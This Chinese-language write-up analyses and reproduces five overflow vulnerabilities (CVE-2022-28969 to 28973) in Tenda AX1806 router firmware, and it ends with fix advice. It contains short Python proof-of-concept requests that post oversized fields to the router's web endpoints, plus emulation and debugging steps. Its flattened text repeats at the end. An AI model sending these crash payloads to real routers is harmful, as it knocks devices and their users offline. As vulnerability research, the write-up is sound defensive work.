Tenda-AX1806路由器多处栈溢出漏洞
字数 1371 2025-08-06 23:10:24

Tenda AX1806路由器多处栈溢出漏洞分析与复现

1. 漏洞概述

Tenda AX1806路由器固件版本v1.0.0.1中存在多处栈溢出漏洞,这些漏洞位于tdhttpd二进制文件中。由于使用了危险函数strcpy而未对参数长度进行判断,导致拒绝服务漏洞。

CVE编号

  • CVE-2022-28971
  • CVE-2022-28972
  • CVE-2022-28970
  • CVE-2022-28969
  • CVE-2022-28973

2. 漏洞分析环境准备

所需工具

  • binwalk:用于固件解包
  • ubi_reader:处理UBI文件系统
  • IDA Pro:逆向分析二进制文件
  • qemu-arm-static:模拟ARM环境
  • gdb-multiarch:调试ARM程序

固件获取与解包

  1. 从官网下载固件
  2. 使用binwalk解包固件:
    binwalk -Me firmware.bin
    
    需要ubi_reader来处理UBI文件系统

3. 漏洞定位与分析

漏洞存在于tdhttpd二进制文件的以下函数中:

  1. fromAdvSetMacMtuWan
  2. form_fast_setting_wifi_set
  3. fromSetIpMacBind
  4. GetParentControlInfo
  5. fromSetWifiGusetBasic

3.1 fromAdvSetMacMtuWan漏洞

  • 调用函数sub_658D8
  • sub_658D8内字符串拷贝前未对输入参数做长度判断
  • 使用strcpy直接拷贝用户可控数据

3.2 form_fast_setting_wifi_set漏洞

  • 处理timeZone参数时未对长度进行判断
  • 直接拷贝到固定大小的缓冲区

3.3 fromSetIpMacBind漏洞

  • 未对长度进行判断
  • 无论如何都将内容拷贝到v20变量中

3.4 GetParentControlInfo漏洞

  • 拷贝到堆块时未对长度判断
  • 导致堆溢出

3.5 fromSetWifiGusetBasic漏洞

  • 没有判断参数长度直接进行拷贝

4. 动态调试环境搭建

4.1 模拟运行

sudo qemu-arm-static -L . ./bin/tdhttpd

4.2 网络配置

  1. 安装必要工具:
    sudo apt install uml-utilities bridge-utils
    
  2. 新建网桥:
    sudo brctl addbr br0
    sudo brctl addif br0 ens33
    sudo ifconfig br0 up
    sudo dhclient br0
    

4.3 安装依赖

  1. 安装ARM环境库:
    sudo apt install qemu-user-static libc6-arm* libc6-dev-arm*
    
  2. 复制qemu-arm-static:
    cp $(which qemu-arm-static) .
    

4.4 运行httpd服务

sudo chroot ./ ./qemu-arm-static ./bin/tdhttpd

5. PoC代码分析

5.1 CVE-2022-28970

data = {
    b"mac": b"A"*0x400
}
res = requests.post("http://target/fromSetIpMacBind", data=data)

5.2 CVE-2022-28973

data = {
    b"wanMTU": b'A'*0x800,
}
res = requests.post("http://target/fromAdvSetMacMtuWan", data=data)

5.3 CVE-2022-28969

data = {
    b"shareSpeed": b'A'*0x800
}
res = requests.post("http://target/form_fast_setting_wifi_set", data=data)

5.4 CVE-2022-28971

data = {
    b"list": b'A'*0x800,
    b"bindnum": b"1"
}
res = requests.post("http://target/fromSetIpMacBind", data=data)

5.5 CVE-2022-28972

data = {
    b"ssid": b'A',
    b"timeZone": payload.ljust(0x100,b'A') + b":" + b"A"*0x400
}
res = requests.post("http://target/form_fast_setting_wifi_set", data=data)

6. 调试方法

6.1 启动调试

sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/tdhttpd

6.2 GDB调试脚本

gdb-multiarch \
-ex "target remote :1234" \
-ex "python set_arch(\"arm\")" \
-ex "b *($1)"

7. 漏洞利用分析

  • 由于使用strcpy进行拷贝,遇到空字符会截断
  • 无法构造完整地址进行利用
  • 主要造成拒绝服务效果
  • 实际环境中会导致路由器宕机

8. 漏洞修复建议

  1. 将strcpy替换为strncpy,控制拷贝字符长度
  2. 在使用strcpy前对输入参数长度进行严格检查
  3. 实现安全的字符串处理函数
  4. 对用户输入进行严格的边界检查

9. 总结

Tenda AX1806路由器固件v1.0.0.1版本中存在多处栈溢出漏洞,主要原因是使用了不安全的字符串处理函数而未进行长度检查。这些漏洞可导致拒绝服务攻击,虽然无法直接实现远程代码执行,但会严重影响路由器的正常运行。修复方案应着重于实现安全的字符串处理机制和严格的输入验证。

Tenda AX1806路由器多处栈溢出漏洞分析与复现 1. 漏洞概述 Tenda AX1806路由器固件版本v1.0.0.1中存在多处栈溢出漏洞,这些漏洞位于tdhttpd二进制文件中。由于使用了危险函数strcpy而未对参数长度进行判断,导致拒绝服务漏洞。 CVE编号 CVE-2022-28971 CVE-2022-28972 CVE-2022-28970 CVE-2022-28969 CVE-2022-28973 2. 漏洞分析环境准备 所需工具 binwalk:用于固件解包 ubi_ reader:处理UBI文件系统 IDA Pro:逆向分析二进制文件 qemu-arm-static:模拟ARM环境 gdb-multiarch:调试ARM程序 固件获取与解包 从官网下载固件 使用binwalk解包固件: 需要ubi_ reader来处理UBI文件系统 3. 漏洞定位与分析 漏洞存在于tdhttpd二进制文件的以下函数中: fromAdvSetMacMtuWan form_ fast_ setting_ wifi_ set fromSetIpMacBind GetParentControlInfo fromSetWifiGusetBasic 3.1 fromAdvSetMacMtuWan漏洞 调用函数sub_ 658D8 sub_ 658D8内字符串拷贝前未对输入参数做长度判断 使用strcpy直接拷贝用户可控数据 3.2 form_ fast_ setting_ wifi_ set漏洞 处理timeZone参数时未对长度进行判断 直接拷贝到固定大小的缓冲区 3.3 fromSetIpMacBind漏洞 未对长度进行判断 无论如何都将内容拷贝到v20变量中 3.4 GetParentControlInfo漏洞 拷贝到堆块时未对长度判断 导致堆溢出 3.5 fromSetWifiGusetBasic漏洞 没有判断参数长度直接进行拷贝 4. 动态调试环境搭建 4.1 模拟运行 4.2 网络配置 安装必要工具: 新建网桥: 4.3 安装依赖 安装ARM环境库: 复制qemu-arm-static: 4.4 运行httpd服务 5. PoC代码分析 5.1 CVE-2022-28970 5.2 CVE-2022-28973 5.3 CVE-2022-28969 5.4 CVE-2022-28971 5.5 CVE-2022-28972 6. 调试方法 6.1 启动调试 6.2 GDB调试脚本 7. 漏洞利用分析 由于使用strcpy进行拷贝,遇到空字符会截断 无法构造完整地址进行利用 主要造成拒绝服务效果 实际环境中会导致路由器宕机 8. 漏洞修复建议 将strcpy替换为strncpy,控制拷贝字符长度 在使用strcpy前对输入参数长度进行严格检查 实现安全的字符串处理函数 对用户输入进行严格的边界检查 9. 总结 Tenda AX1806路由器固件v1.0.0.1版本中存在多处栈溢出漏洞,主要原因是使用了不安全的字符串处理函数而未进行长度检查。这些漏洞可导致拒绝服务攻击,虽然无法直接实现远程代码执行,但会严重影响路由器的正常运行。修复方案应着重于实现安全的字符串处理机制和严格的输入验证。